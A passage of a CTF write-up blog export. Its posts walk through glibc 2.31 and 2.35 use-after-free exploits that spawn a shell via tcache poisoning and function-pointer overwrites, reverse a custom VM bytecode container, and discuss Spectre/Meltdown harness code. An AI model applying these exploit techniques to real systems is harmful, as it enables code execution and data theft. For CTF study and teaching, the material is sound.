[{"content":"Overview Three pwn challenges from CSAW CTF 2026 Quals, bundled because they are structurally the same problem.\nglibc bug target Diamond Dogs 2.31 freed pointers never cleared — objects and buffers both function pointer inside the object Hell\u0026rsquo;s Bells 2.31 edit path reachable through a freed chunk tcache fd → __free_hook Saint Vespers 2.35 fields written after the object is freed sing on a reclaimed object The mitigations move in the same direction.\nRELRO PIE Canary other Diamond Dogs Partial No PIE none Hell\u0026rsquo;s Bells Full PIE none Saint Vespers Full PIE yes SHSTK · IBT All three share one skeleton.\nFree a chunk too large for tcache so it lands in the unsorted bin Read through the stale pointer to recover a main_arena address Free an object holding a function pointer, reclaim it through a different path that shares the same bin, and overwrite that pointer Call the object\u0026rsquo;s method The leak and the control-flow hijack are two uses of the same bug. What changes per challenge is only which path fails to clear a pointer on free, and which path can write far enough to reach the interesting offset.\nThe libc version is where they diverge. Diamond Dogs and Hell\u0026rsquo;s Bells run on 2.31, so neither safe-linking (2.32) nor hook removal (2.34) applies. Hell\u0026rsquo;s Bells spends exactly that: it overwrites a tcache fd directly and lands on __free_hook. Saint Vespers runs on 2.35, where both of those are gone, so it goes after a function pointer inside an application object instead — and since that never touches the freelist, safe-linking becomes irrelevant.\nShared technique: leaking libc through the unsorted bin A chunk that goes into tcache carries a tcache-struct address in its fd, which doesn\u0026rsquo;t hand you a libc base. A chunk past tcache\u0026rsquo;s capacity (chunk size above 0x410) goes to the unsorted bin instead, and its fd/bk point near main_arena.\nOn glibc 2.31 the unsorted bin sits at main_arena + 96. main_arena immediately follows __malloc_hook, so the offset is reachable even without arena symbols.\n1 2 3 main_arena = libc.sym[\u0026#39;__malloc_hook\u0026#39;] + 0x10 libc.address = leak - (main_arena + 96) assert libc.address \u0026amp; 0xfff == 0 That assert is not optional. A libc base is page-aligned, so a nonzero low 12 bits means either the offset arithmetic or the leak site is wrong. The one line catches \u0026ldquo;it printed something, and all of it is garbage\u0026rdquo; immediately.\nFrom 2.34 on there is no __malloc_hook symbol, so this expression doesn\u0026rsquo;t work. Measure the unsorted-bin offset in that libc and hardcode it.\nThe guard chunk A chunk adjacent to the top chunk is absorbed into top on free rather than entering the unsorted bin, and then there is no pointer to leak at all.\nSo allocate the large chunk first, allocate a small one behind it to separate it from top, and only then free the large one.\n1 2 3 file_note(p, 0, 0x500, b\u0026#39;A\u0026#39;) file_note(p, 1, 0x20, b\u0026#39;B\u0026#39;) shred(p, 0) The 0x20 in slot 1 is never used again. It exists to block consolidation into top.\nDiamond Dogs Layout 1 2 guard-dog amd64, No PIE, Partial RELRO, no canary, NX, not stripped libc-2.31.so / ld-2.31.so Symbols survive, so the globals are visible directly.\n1 2 3 4 dogs 0x404120 notes 0x4040e0 note_sz 0x4040a0 woof 0x401256 There are two managed things. dogs is an array of object pointers, notes an array of byte-buffer pointers, eight slots each (0-7). Every menu handler is inlined into main, so there are no separate functions to read.\nA dog object comes from malloc(0x20) with a function pointer at the end (+0x18).\n1 2 3 4 5 pvVar3 = malloc(0x20); *(code **)((long)pvVar3 + 0x18) = woof; read_n(pvVar3, 0x18); *(undefined1 *)((long)pvVar3 + 0x17) = 0; *(void **)(dogs + uVar4 * 8) = pvVar3; And the call looks like this.\n1 2 lVar1 = *(long *)(dogs + uVar4 * 8); (**(code **)(lVar1 + 0x18))(lVar1); The bug There are two free paths, and neither clears its pointer.\n1 2 free(*(void **)(dogs + uVar4 * 8)); free(*(void **)(notes + uVar4 * 8)); The note-side dangling pointer drives the leak; the dog-side one drives the hijack.\nAsymmetric write lengths What this challenge actually turns on is that the two allocation paths write different amounts.\nadopt allocates 0x20 but reads only 0x18 bytes through read_n, then zeroes +0x17. The function pointer at +0x18 is deliberately out of reach.\nfile_note is different. It reads the full requested size.\n1 2 3 4 5 6 7 8 if (*(long *)(notes + uVar4 * 8) == 0) { __size = read_long(); if (__size - 1 \u0026lt; 0x1000) { pvVar3 = malloc(__size); read_n(pvVar3, __size); ... } } There is an occupancy check. But shred leaves the pointer in place, so a freed slot stays occupied and each new note needs an unused slot number.\nmalloc(0x20) and malloc(0x20) both give chunk size 0x30, so they share a tcache bin. Which means freeing a dog and then allocating a note of the same size hands that dog chunk back as a note, and this time +0x18 is writable.\nThe bug is that the guard is attached to only one of the two paths.\nThe leak The note read path is a write syscall, not puts.\n1 write(1, *(void **)(notes + uVar4 * 8), *(size_t *)(note_sz + uVar4 * 8)); It doesn\u0026rsquo;t stop at a NULL; it emits exactly the stored length. A freed chunk\u0026rsquo;s fd comes back verbatim.\nThe size limit is __size - 1 \u0026lt; 0x1000, so 0x500 is allowed. That makes a 0x510 chunk, which exceeds the 0x410 tcache ceiling and therefore goes to the unsorted bin.\n1 2 3 4 5 6 7 8 file_note(p, 0, 0x500, b\u0026#39;A\u0026#39;) file_note(p, 1, 0x20, b\u0026#39;B\u0026#39;) shred(p, 0) leak = u64(read_note(p, 0, 0x500)[:8]) main_arena = libc.sym[\u0026#39;__malloc_hook\u0026#39;] + 0x10 libc.address = leak - (main_arena + 96) assert libc.address \u0026amp; 0xfff == 0, \u0026#39;leak offset wrong\u0026#39; Hijacking control flow Create a dog with /bin/sh in the name field. The calling convention passes the object pointer as the first argument, so the object\u0026rsquo;s own address is the argument.\n1 2 3 4 5 adopt(p, 0, b\u0026#39;/bin/sh\\x00\u0026#39;) release(p, 0) file_note(p, 2, 0x20, b\u0026#39;/bin/sh\\x00\u0026#39; + b\u0026#39;\\x00\u0026#39; * 0x10 + p64(libc.sym.system)) command(p, 0) file_note reclaims the chunk that release pushed into tcache and overwrites the function pointer at +0x18 with system. command invokes it as (*fp)(obj), which is system(\u0026quot;/bin/sh\u0026quot;).\nNo one_gadget, no ROP. The calling convention fills in the argument.\nFull flow 1 2 3 4 5 6 7 8 file_note(0, 0x500) allocate the large chunk file_note(1, 0x20) guard chunk shred(0) into the unsorted bin read_note(0) leak main_arena adopt(0, \u0026#34;/bin/sh\u0026#34;) create the object release(0) into the 0x30 tcache bin file_note(2, 0x20) reclaim the same chunk, overwrite +0x18 command(0) system(\u0026#34;/bin/sh\u0026#34;) Notes The leak and the hijack use different bins. 0x510 is the unsorted bin, 0x30 is tcache. Drop the guard chunk and the 0x510 chunk is absorbed into top, so the leak step produces nothing. adopt zeroing +0x17 is code protecting the function pointer. That the protection is attached to only one allocation path is the whole challenge. Hell\u0026rsquo;s Bells Layout 1 2 thermite-charge amd64, PIE, Full RELRO, no canary, NX, not stripped libc-2.31.so / ld-2.31.so The menu structure is nearly identical to Diamond Dogs. Sixteen slots, two globals.\n1 2 charges 0x40e0 sizes 0x4060 The difference is that there are no objects. Everything here is a plain byte buffer, so there is no function pointer to overwrite. read_long, read_n, the __size - 1 \u0026lt; 0x1000 limit, and the write-based inspect are all the same as before.\nPIE and Full RELRO are on but don\u0026rsquo;t matter. The exploit below uses neither a binary address nor the GOT.\nThe bug plant checks whether a slot is empty (== 0). But defuse doesn\u0026rsquo;t clear the pointer, so a freed slot stays \u0026ldquo;occupied.\u0026rdquo;\n1 2 free(*(void **)(charges + uVar2 * 8)); puts(\u0026#34;charge defused\u0026#34;); And rewire writes to that slot again.\n1 2 3 4 if ((uVar2 \u0026lt; 0x10) \u0026amp;\u0026amp; (*(long *)(charges + uVar2 * 8) != 0)) { read_n(*(undefined8 *)(charges + uVar2 * 8), *(undefined8 *)(sizes + uVar2 * 8)); } It never checks whether the chunk is freed, and the length is the original allocation size. That means the head of a freed chunk can be set to anything, and that position is tcache\u0026rsquo;s next pointer.\nWhere Diamond Dogs needed \u0026ldquo;reclaim through another path sharing the bin,\u0026rdquo; here the freelist is edited in place with no reclaim at all.\ntcache poisoning glibc 2.31 has no safe-linking, so whatever goes into fd is used as the next chunk address verbatim. And __free_hook still exists.\nThe leak is the shared technique unchanged.\n1 2 3 4 5 6 7 8 plant(p, 0, 0x500, b\u0026#39;A\u0026#39;) plant(p, 1, 0x20, b\u0026#39;B\u0026#39;) defuse(p, 0) leak = u64(inspect(p, 0, 0x500)[:8]) main_arena = libc.sym[\u0026#39;__malloc_hook\u0026#39;] + 0x10 libc.address = leak - (main_arena + 96) assert libc.address \u0026amp; 0xfff == 0, \u0026#39;libc offset wrong\u0026#39; The rest is the actual exploit.\n1 2 3 4 5 6 7 8 9 10 11 12 plant(p, 2, 0x20, b\u0026#39;C\u0026#39;) plant(p, 3, 0x20, b\u0026#39;D\u0026#39;) defuse(p, 2) defuse(p, 3) rewire(p, 3, 0x20, p64(libc.sym[\u0026#39;__free_hook\u0026#39;])) plant(p, 4, 0x20, b\u0026#39;/bin/sh\\x00\u0026#39;) plant(p, 5, 0x20, p64(libc.sym.system)) menu(p, 2) p.sendlineafter(b\u0026#39;slot: \u0026#39;, b\u0026#39;4\u0026#39;) How the 0x30 tcache bin evolves.\n1 2 3 4 5 defuse(2) head -\u0026gt; c2 defuse(3) head -\u0026gt; c3 -\u0026gt; c2 rewire(3, \u0026amp;free_hook) head -\u0026gt; c3 -\u0026gt; __free_hook plant(4) returns c3, head -\u0026gt; __free_hook plant(5) returns __free_hook Slot 4 holds c3 containing /bin/sh; slot 5 is __free_hook itself containing system. Then defuse on slot 4 calls free(c3), and __free_hook is invoked with c3 as its argument, which is system(\u0026quot;/bin/sh\u0026quot;).\nWhy two chunks have to be freed Overwriting fd works with a single freed chunk. The second allocation just doesn\u0026rsquo;t follow the poisoned address.\ntcache tracks counts[idx] separately, and tcache_get is only called while counts \u0026gt; 0. With one chunk freed, counts is 1; the first allocation drops it to 0 and the second allocation never goes through tcache. However well fd is overwritten, nothing follows the link.\nWith two freed, counts is 2. The first allocation takes c3 and leaves 1, and the second still sees \u0026gt; 0, so it returns the entries[idx] that was overwritten. Two 0x20 chunks is the minimum.\nNotes The only difference between these two challenges is where a writable dangling pointer comes from. Diamond Dogs reclaims a freed object through another path; Hell\u0026rsquo;s Bells gets one directly because the edit path never checks the freed state. The latter is the stronger primitive, which is why the freelist can be manipulated directly. plant checks occupancy with != 0 while defuse leaves the pointer, so a slot cannot be cycled through free-and-reuse. Each operation takes a fresh slot number. __free_hook is only available because this is glibc 2.31. From 2.34 on that landing site is gone — which is the next challenge. Saint Vespers and the Copper Choir Layout This is the only one of the three shipped with its original C source. No decompilation needed, but more to read.\n1 2 3 vespers amd64, PIE, Full RELRO, canary, NX, SHSTK, IBT vespers.c ld-2.35.so / libc.so_3.6 (Ubuntu GLIBC 2.35-0ubuntu3.14) The heaviest mitigations of the three, and none of them matter, because the final target is the entry point of a legitimate function. Swapping the sing field for system and letting choir[i]-\u0026gt;sing(choir[i]) run means the indirect branch lands on a valid function start, and nothing touches the stack, so the canary and the shadow stack are never involved. What CET blocks is jumping into the middle of a function, ROP-style.\nOne struct is managed.\n1 2 3 4 5 6 7 typedef struct chorister { char name[NAME_SIZE]; /* 0x38 */ void (*sing)(struct chorister *self); char *transcript; size_t transcript_len; int active; } chorister_t; sizeof(chorister_t) is 0x58, giving chunk size 0x60. The function pointer can only be chosen from a whitelist.\n1 2 3 4 5 6 static void (*const sing_table[3])(chorister_t *) = { sing_gregorian, sing_echo, sing_harmony, }; ... if (style \u0026lt; 0 || style \u0026gt; 2) style = 0; c-\u0026gt;sing = sing_table[style]; Index validation is clean as well.\n1 2 3 static int valid_idx(long idx) { return idx \u0026gt;= 0 \u0026amp;\u0026amp; idx \u0026lt; MAX_CHOIR \u0026amp;\u0026amp; choir[idx] != NULL; } Passing static buffers to setvbuf in main is deliberate too. stdio never touches the heap, so the chunk layout is exactly what the operations produce — the source comments say as much.\nThe bug op_retire writes to a field after freeing.\n1 2 3 if (c-\u0026gt;transcript) free(c-\u0026gt;transcript); free(c); c-\u0026gt;active = 0; Three lines, three problems.\nchoir[idx] is never set to NULL, so the freed object stays a valid slot. c-\u0026gt;transcript is never set to NULL, so a pointer to the freed transcript survives. c-\u0026gt;active = 0 after free(c) is a write to freed memory. That last write is at +0x50, which misses the next (+0x00) and key (+0x08) fields tcache uses. The freelist stays intact and the freed object quietly stays usable.\nop_restore undoes the write.\n1 2 if (c-\u0026gt;active) { puts(\u0026#34;...\u0026#34;); return; } c-\u0026gt;active = 1; retire sets the flag to 0 and restore puts it back to 1, so the freed object passes every path that requires active again: inscribe, recite, rename, perform.\nIn source, c-\u0026gt;active = 0 one line below free(c) is immediately visible. In a decompiler it would be one offset assignment into a global array.\nThe leak A transcript length of 0x500 gives a 0x510 chunk, past the tcache ceiling. The second recruit is the guard — the same move as the 0x20 guard chunks in the other two, except here an object and a transcript stack up behind it, so consolidation into top is blocked more firmly.\n1 2 3 4 5 6 7 8 9 10 11 recruit(p, b\u0026#39;AAAA\u0026#39;, 0, 0x500, b\u0026#39;A\u0026#39;) recruit(p, b\u0026#39;BBBB\u0026#39;, 0, 0x20, b\u0026#39;B\u0026#39;) retire(p, 0) restore(p, 0) leak = u64(recite(p, 0, 0x500)[:8]) UNSORTED_OFF = 0x21ace0 libc.address = leak - UNSORTED_OFF assert libc.address \u0026amp; 0xfff == 0, \u0026#39;libc offset wrong\u0026#39; retire(0) frees both the transcript and the object; restore(0) revives active. op_recite uses c-\u0026gt;transcript and c-\u0026gt;transcript_len as they stand, so the contents of the freed 0x510 chunk come out through write.\n1 (void)write(1, c-\u0026gt;transcript, c-\u0026gt;transcript_len); With no __malloc_hook, the offset was measured in this libc and hardcoded.\nSame size class This is the core of the challenge. The transcript length is mine to choose, anywhere from 1 to 0x1000. And sizeof(chorister_t) is 0x58.\nSo a transcript of length 0x58 is allocated from the same 0x60 bin as an object. The allocation order inside op_recruit gives the result.\n1 2 3 4 5 chorister_t *c = malloc(sizeof(chorister_t)); /* 0x60 bin */ ... char *transcript = malloc((size_t)len); /* len=0x58, same 0x60 bin */ ... read_exact(transcript, (size_t)len); One recruit allocates twice from the 0x60 bin. The first becomes a new object; the second becomes a buffer whose entire contents I supply. Put two freed objects in the bin and the second allocation picks up another object that is still attached to a slot.\n1 2 3 4 5 6 7 8 9 10 11 retire(p, 1) payload = b\u0026#39;/bin/sh\\x00\u0026#39;.ljust(0x38, b\u0026#39;\\x00\u0026#39;) payload += p64(libc.sym.system) payload += p64(0) payload += p64(0) payload += p32(1) payload = payload.ljust(0x58, b\u0026#39;\\x00\u0026#39;) recruit(p, b\u0026#39;CCCC\u0026#39;, 0, 0x58, payload) menu(p, 8) The 0x60 bin and what each allocation returns.\n1 2 3 4 retire(1) free(t1) -\u0026gt; 0x30 bin, free(obj1) -\u0026gt; head -\u0026gt; obj1 -\u0026gt; obj0 recruit, malloc 1 malloc(0x58) -\u0026gt; obj1 = the new object in slot 2 recruit, malloc 2 malloc(0x58) -\u0026gt; obj0 = the transcript buffer read_exact payload overwrites all of obj0 obj0 is still choir[0], and still active thanks to restore(0). The payload reconstructs that struct field by field.\n1 2 3 4 5 name \u0026#34;/bin/sh\\0\u0026#34; sing system transcript 0 transcript_len 0 active 1 op_perform passes the object to itself per the calling convention.\n1 2 if (choir[i] \u0026amp;\u0026amp; choir[i]-\u0026gt;active) choir[i]-\u0026gt;sing(choir[i]); The struct\u0026rsquo;s start address is the address of name, so this is system(\u0026quot;/bin/sh\u0026quot;).\nNotes The whitelisted function pointer is enforced only at creation time. The sing_table range check lives inside op_recruit, and no path that reaches the sing field afterward goes through it. NAME_SIZE 0x38 and the transcript range 1..0x1000 overlap at 0x58. A caller-sized buffer and a fixed-size struct share a size class. Safe-linking is never touched. Instead of overwriting an fd, the exploit uses the normal allocation order to receive the chunk it wants. op_roster prints all 0x38 bytes of name regardless of active. Pointed at a freed object it yields a mangled tcache next, but this solve didn\u0026rsquo;t need it. Looking at it again Re-reading these while writing the post turned up paths that went unused at the time. The following were not considered during the solve, and they are a re-read of the code rather than anything actually run.\nDiamond Dogs — tcache poisoning was available A dog chunk reclaimed through file_note is writable from offset 0, and that position is tcache\u0026rsquo;s next. The solve wrote /bin/sh there; writing an address instead gives the same poisoning Hell\u0026rsquo;s Bells used. Being 2.31, there is no safe-linking either.\nNo PIE compounds it. The globals sit at fixed addresses.\n1 2 notes 0x4040e0 note_sz 0x4040a0 Landing a chunk on note_sz and writing an arbitrary length extends read_note\u0026rsquo;s output by that much. Covering notes as well puts both the address and the length under control, which is an arbitrary read. Writing into a poisoned chunk with file_note is an arbitrary write.\nThe occupancy check does constrain it: each note needs a fresh slot number and there are only eight. Covering both globals means counting allocations up front.\nHell\u0026rsquo;s Bells — the large chunk was only read rewire doesn\u0026rsquo;t check the freed state, so the 0x500 chunk is writable too. The solve only ever inspected it.\nThat means the fd/bk of a chunk sitting in the unsorted bin can be written, which is the precondition for an unsorted-bin or largebin attack. The tcache route was simpler, so that was the only one used.\nrewire also covers key (+0x08) along with next (+0x00). Clearing key gets past 2.31\u0026rsquo;s tcache double-free check. There was no need for it, but it was there.\nSaint Vespers — arbitrary read/write was skipped The biggest miss. The final payload reconstructs the whole struct, and that includes transcript and transcript_len.\n1 2 payload += p64(0) # transcript payload += p64(0) # transcript_len Both were zero-filled. But those are exactly the two fields op_recite and op_inscribe use.\n1 2 (void)write(1, c-\u0026gt;transcript, c-\u0026gt;transcript_len); /* recite */ read_exact(c-\u0026gt;transcript, c-\u0026gt;transcript_len); /* inscribe */ An (address, length) pair there would have turned that slot into a reusable arbitrary-read and arbitrary-write handle — not once, but for as long as the slot lives. Strictly stronger than overwriting sing alone, for the same single write.\nsolve.py defines rename() and roster() helpers and never calls either. Those were the remaining paths.\nop_roster prints all 0x38 bytes of name regardless of active. Pointed at a freed object it yields a mangled tcache next, and since 2.35 mangles with (chunk address \u0026gt;\u0026gt; 12) ^ pointer, the heap base falls out of it. op_rename writes 0x37 bytes at offset 0 of name. Pointed at a freed object it covers both next and key. Together they make tcache poisoning work on 2.35: get the heap base from roster, compute the mangling, and overwrite next with rename. What safe-linking blocks is poisoning without knowing the address; it doesn\u0026rsquo;t block anything when a leak path is open alongside it.\nSummary How each challenge obtains its UAF, and where it lands.\nhow the dangling pointer is obtained landing site Diamond Dogs reclaim a freed object through a different allocation path the object\u0026rsquo;s function pointer Hell\u0026rsquo;s Bells the edit path never checks the freed state tcache fd → __free_hook Saint Vespers a post-free field assignment keeps the slot alive function pointer on an object received from the same size class The leak is identical in all three. Free something past the 0x410 tcache ceiling into the unsorted bin, then read through the pointer that was never cleared.\nWhat differs is the libc version.\n2.31 2.35 tcache fd mangling none (chunk address \u0026gt;\u0026gt; 12) ^ pointer __malloc_hook / __free_hook present removed unsorted-bin offset __malloc_hook + 0x10 + 96 no symbol, measure it shortest route poison the freelist → hook function pointer on an application object On 2.31 the hooks exist, so one freelist manipulation finishes the job. On 2.35 that landing site is gone, and the target moves from libc to the program\u0026rsquo;s own objects. That route never touches the freelist, so safe-linking never comes into play.\nFull scripts: ctf-writeups/2026-csaw-quals\n","permalink":"https://wjddml.github.io/en/writeups/csaw-2026-heap/","summary":"Diamond Dogs, Hell\u0026rsquo;s Bells, Saint Vespers. Three challenges that leak libc through a UAF and reclaim a freed object to overwrite a function pointer.","title":"CSAW CTF 2026 Quals — What Changes Between glibc Versions"},{"content":"Overview Two files ship with the challenge.\n1 2 whatwho ELF 64-bit, x86-64, stripped vault.wwc data Running it prints an instance seed and asks six questions. Answer all six and you get the flag.\nThe plan.\nConfirm the ELF is a VM interpreter Decrypt the vault.wwc container Recover the ISA, write a disassembler Invert the six questions Clone the instance locally and verify 1. The ELF is an interpreter Step through in gdb and you land in the same function no matter which question you\u0026rsquo;re on. The top of sub_1CF0 explains why.\n1 2 3 4 v13 = (char *)(v12 + 12 * v10); v14 = *v13; v15 = v13[1]; v16 = v13[2]; v17 = v13[3]; v18 = *(_QWORD *)(v13 + 4); Fixed 12-byte instructions, a large opcode switch, eight registers (v156[1..8]), a stack pointer (v157), a program counter (v167). The verification logic is bytecode inside vault.wwc, and the ELF is the CPU that runs it.\nChasing this structure dynamically goes nowhere. Unpack the container first.\n2. Decrypting vault.wwc sub_18C0 is the loader. A 64-byte header.\n1 magic 0x1A0A0D4F48575789 | ver=3 | hdrsz=64 | n_insns | data_size | entry | key | code_seal | data_seal Then 12*n bytes of code and data_size bytes of data. Both segments are scrambled by sub_1780, a splitmix-style keystream over (key, domain, index) with a per-byte rotate and subtract. The two domain constants are ASCII.\nsub_1810 computes a checksum per segment. That\u0026rsquo;s the verification mechanism. One wrong byte in the decrypt and the seal mismatches, so correctness is confirmed rather than assumed.\n1 2 insn=262 data=762 entry=0 key=91e10da5c79e7b1d code seal True data seal True Strings in the data segment are the question prompts.\n1 2 3 data+0x0000 Question 1 - Did you remember the password? data+0x002d Question 2 - What is today\u0026#39;s special? data+0x0054 Question 3 - Which way now? 3. Recovering the ISA This took the most time, because Hex-Rays rewrote the switch with offset arithmetic to compact the jump table.\n1 2 3 4 5 v23 = (unsigned __int8)(v14 + 115); switch ((char)v23) { case 84: ... } v19 = v14 - 37; switch (v19) { case 0x1E: ... } The case values on screen are not opcodes. Undo the bias with case - 115 mod 256 for the first group and case + 0x25 for the second. The two above are actually 0xE1 and 0x43.\nThere are also two modes with separate opcode spaces. 0x0C enters stack mode, 0xFA returns to register mode, and both are only allowed when sp is zero.\nThe instructions that matter.\nopcode meaning 0x5F INPUT r[A], fmt=B, max=C, prompt=data[imm] 0x7B SUBMIT imm 0xCA r[A] = SEED 0x31 r[A] = KEY 0x43 flag = (r[A] == imm) 0xDD flag = (r[A] == r[B]) 0x2E / 0xBC JF / JT 0xE1 FLAG INPUT\u0026rsquo;s fmt is 0=raw, 1=hex8, 2=hex16, 3=hex32, 4=dec.\nFixed width keeps the disassembler short.\n1 2 3 for pc in range(len(code)//12): op, A, B, C = code[12*pc:12*pc+4] imm = struct.unpack_from(\u0026#34;\u0026lt;Q\u0026#34;, code, 12*pc+4)[0] 262 instructions. The data segment loads at VM address 0x2000 and the input buffer is 0x800. Find the six SUBMITs and everything between them is one question.\n4. Inverting the questions Q1 Four bytes packed big-endian, then XOR → ROL32 → MUL → xorshift → ADD → ROR32, compared against 0xFB5647DA. Every step is a bijection on 32 bits, so the inverse is unique. Modular inverse for the multiply, fixpoint iteration for the xorshift.\n1 2 3 4 5 6 7 x = rol32(0xFB5647DA, 3) x = (x - 0x7F4A7C15) \u0026amp; m32 y = x for _ in range(4): y = x ^ (y \u0026gt;\u0026gt; 15) x = (y * pow(0x045D9F3B, -1, 1 \u0026lt;\u0026lt; 32)) \u0026amp; m32 answer = (ror32(x, 9) ^ 0xC13FA9A9).to_bytes(4, \u0026#34;big\u0026#34;) Q2 A stack-mode block. Per byte, ROL8((c ^ acc) + A[i], B[i]) ^ C[i] == D[i], with four 16-byte tables at 0xe9/0xf9/0x109/0x119. acc starts at 0x5A and chains forward, so peel it left to right.\nQ3 102 characters. Movement deltas are N=-17, E=+1, S=+17, W=-1, and after each move data[r2+0x2129] must be 1. A 17×17 maze, start 18, goal 96.\nThere\u0026rsquo;s a trap here. The only constraints are exactly 102 steps and every cell walkable, with no visited set. This isn\u0026rsquo;t a shortest-path problem. It needs a DP over (cell, steps remaining), padding with back-and-forth when steps are left over.\nQ4 / Q5 Both start with MOV r0, SEED. Q4 is 137 rounds of splitmix with a decimal answer, Q5 is xorshift for ((seed\u0026gt;\u0026gt;9)\u0026amp;0x3ff)+0x500 rounds with a 16-character hex answer. Transcribe the loops.\nQ6 A 10-round Feistel. Round keys live at 0x250/0x2a0/0x2f0 and the target (r2, r3) derives from the seed and key. Unwind it in reverse.\n1 2 3 a, b = r2, r3 for i in range(9, -1, -1): a, b = b ^ F(a, i), a 5. The rolling key This is why Q6 doesn\u0026rsquo;t fall out of the seed alone.\nv173 starts as mix(seed ^ 0x57484F5F57415443). That constant is \u0026quot;WHO_WHAT\u0026quot; little-endian. And it gets remixed on every SUBMIT using the raw string you just entered.\nSo Q6\u0026rsquo;s target depends on the exact bytes of your Q1 through Q5 answers, casing included. Solve in order; there\u0026rsquo;s no skipping ahead.\n6. Cloning the instance main checks an environment variable before falling back to /dev/urandom.\n1 2 v3 = getenv(\u0026#34;WHATWHO_NONCE\u0026#34;); if (strlen(v3) == 16) { ... } Feed it the Instance seed: value the remote printed and you get an identical instance locally.\n1 WHATWHO_NONCE=8ad2b00c27513180 ./whatwho vault.wwc Verify all six offline, then connect to the remote once.\nWhat caught us The seed changes per connection. Q1 through Q3 are static, Q4 through Q6 are seed-dependent. Pasting answers from a previous run failed at Q4. Q5 must be lowercase hex. The parser only accepts a-f, and even if it didn\u0026rsquo;t, different casing would change the key hash and quietly break Q6. Q4 rejects leading zeros. Takeaway A dispatch loop, fixed-width instructions, and a separate data file. When those three show up, the binary in front of you is a CPU rather than a program. Stop stepping and unpack the data.\nAnd every operation in this challenge is invertible. Recover the formulas statically and the answers compute directly, with no brute force anywhere.\nFull scripts: ctf-writeups/2026-l3ak/what-who\n","permalink":"https://wjddml.github.io/en/writeups/what-who/","summary":"Unpack a custom container format to extract VM bytecode, recover the ISA, and invert the six challenge questions.","title":"What/Who — Reversing VM Bytecode Sealed in a Container"},{"content":" No challenge solutions or flags here, and the underlying theory only where it\u0026rsquo;s unavoidable. This is about what you need when you understand the concept and the code still does nothing.\nWhen you understand it and it still doesn\u0026rsquo;t work I wrote something like twenty programs going through the Microarchitecture Exploitation dojo. Most of them did nothing the first time.\nNot because the concept was unclear. A data load completes before the permission check does, and instructions speculatively executed in that gap leave traces in the cache. Train the branch predictor and code past a bounds check runs for a moment. Read the explanation and it makes sense. Write the code with that understanding and nothing comes out.\nThat\u0026rsquo;s where the real problem starts. With ordinary exploitation you can see why something failed. Attach a debugger, set a breakpoint, dump memory. None of that works here. Registers during speculation aren\u0026rsquo;t architectural state, so you can\u0026rsquo;t observe them. Cache state can only be inferred indirectly from access timing, and that inference is buried in noise.\nSo writing code here is less like building a program and more like building an instrument. Before you write code that produces a result, you write code that tells you why it failed.\nThis is what I picked up while building that instrument.\nOnly the gate changes Work through enough of these and one skeleton shows up.\nWhat causes the access that shouldn\u0026rsquo;t happen (the gate), how the value obtained that way turns into an observable side effect (the gadget), how you read that side effect (the channel), and how you recover it reliably out of the noise (the signal processing).\nOf those four, only the gate changes from problem to problem. Spectre v1 is a conditional branch, v2 is an indirect branch target, Meltdown is a permission-violating load. The other three get reused as is. A Flush+Reload harness you build once keeps working while you swap gates underneath it.\nHow literally this holds becomes obvious when you put the v1 code and the v2 code side by side. Across two challenges against a kernel module, the difference on my side was one line.\n1 buf[1] = 50; // BTB training count Channel, scoring, calibration, retry logic — none of it changed. Whether you\u0026rsquo;re fooling a conditional branch or an indirect branch target gets decided inside the kernel module, and all I did was pass along a parameter.\nOnce you see this, the question you ask of a new problem collapses into one. Where\u0026rsquo;s the gate here?\nAnd the gate usually leaves hints in the code. If something goes out of its way to clflush the operand a bounds check depends on, that\u0026rsquo;s telling you to slow down the check and widen the speculation window. If a function pointer gets flushed right before an indirect call, that\u0026rsquo;s pointing at BTI. If a kernel module touches a secret but offers no legitimate path to read that value back, that asymmetry itself is the design saying to use a side channel.\nSometimes the gate isn\u0026rsquo;t native code at all. In challenges built around a custom VM, the gate lives inside that VM\u0026rsquo;s syscall implementation, and my job becomes writing a program in its instruction set. Open a file, read it, and call the instruction that uses a secret byte as an index.\n1 2 3 4 5 prog += sysop(SYS_OPEN, \u0026#39;a\u0026#39;) prog += sysop(SYS_READ, \u0026#39;d\u0026#39;) patch_off = len(prog) + 2 # only this immediate byte changes each round prog += imm(\u0026#39;a\u0026#39;, buf_off) prog += sysop(SYS_EXEC, None) Leaking a byte doesn\u0026rsquo;t mean rebuilding the program, just patching one immediate. When the gate is expressed as data, the attack loop gets that much lighter.\nDeveloping an eye for these hints shortens the reversing phase considerably. Miss them and you can recover an entire VM ISA and still be stuck with no idea what to attack.\nWhen you have to build the gate yourself Meltdown needs no gate construction. Read a kernel address and you get a fault, and that fault is the gate. Spectre is different. You have to set up the situation so the predictor guesses wrong.\nMy first attempt had no training at all. It just wrote the target index and woke the victim, over and over.\n1 2 3 4 *index = i; for (int j = 0; j \u0026lt; 256; j++) _mm_clflush(probe + j * 0x1000); sem_post(sem); usleep(1000); Nothing came out, which makes sense. From the predictor\u0026rsquo;s point of view every round looks identical, and there\u0026rsquo;s no reason for it to guess wrong.\nThe next version added training. Lean the predictor with a fixed index several times, then slip the target index in on the last iteration only.\n1 2 3 4 5 6 7 8 int training_loops = 10 + (rand() % 10); for (int t = training_loops; t \u0026gt;= 0; t--) { _mm_clflush(index_ptr); if (t == 0) { /* flush the whole probe array only now */ } *index_ptr = (t == 0) ? i : TRAIN_IDX; sem_post(sem); ... } Three things were intended here.\nRandomizing the training count avoids the predictor learning the fixed-length pattern itself. Repeat exactly ten times and it has room to learn that the eleventh is different. I never measured this change in isolation, so I can\u0026rsquo;t say how much it contributed.\nFlushing the probe array only at attack time also has a reason. Flushing all 256 pages on every training round disturbs the cache on its own and eats time. Training only needs to touch the predictor, so leaving the cache alone is better.\nThe one with the clearest effect was _mm_clflush(index_ptr). The victim\u0026rsquo;s bounds check depends on that value, and if it isn\u0026rsquo;t cached the check takes a while to resolve. That delay is the speculation window. This is the standard way to widen it for Spectre. Flip it around and it means: if challenge code goes out of its way to flush a check operand, the author left the window open for you.\nThere\u0026rsquo;s also a delay loop in this code.\n1 for (volatile int d = 0; d \u0026lt; (100 + rand() % 100); d++); Later I wrote something that looks exactly like this for Meltdown and it failed completely. The reason the same code split two ways is that the purpose differs. Here it\u0026rsquo;s wall-clock waiting for another process to speculate. There it was an attempt to stretch the speculation window inside my own instruction stream. The first works, the second doesn\u0026rsquo;t. More on that at the end.\nIf you can\u0026rsquo;t isolate failure, you can\u0026rsquo;t fix anything My early code left me nothing to do when it failed. Nothing came out, and I couldn\u0026rsquo;t tell whether the channel was broken, the window never opened, or the address was wrong. So I changed something, it failed, changed something else, it failed.\nLater I started splitting the code into modes.\n1 2 3 4 #define MODE 2 // 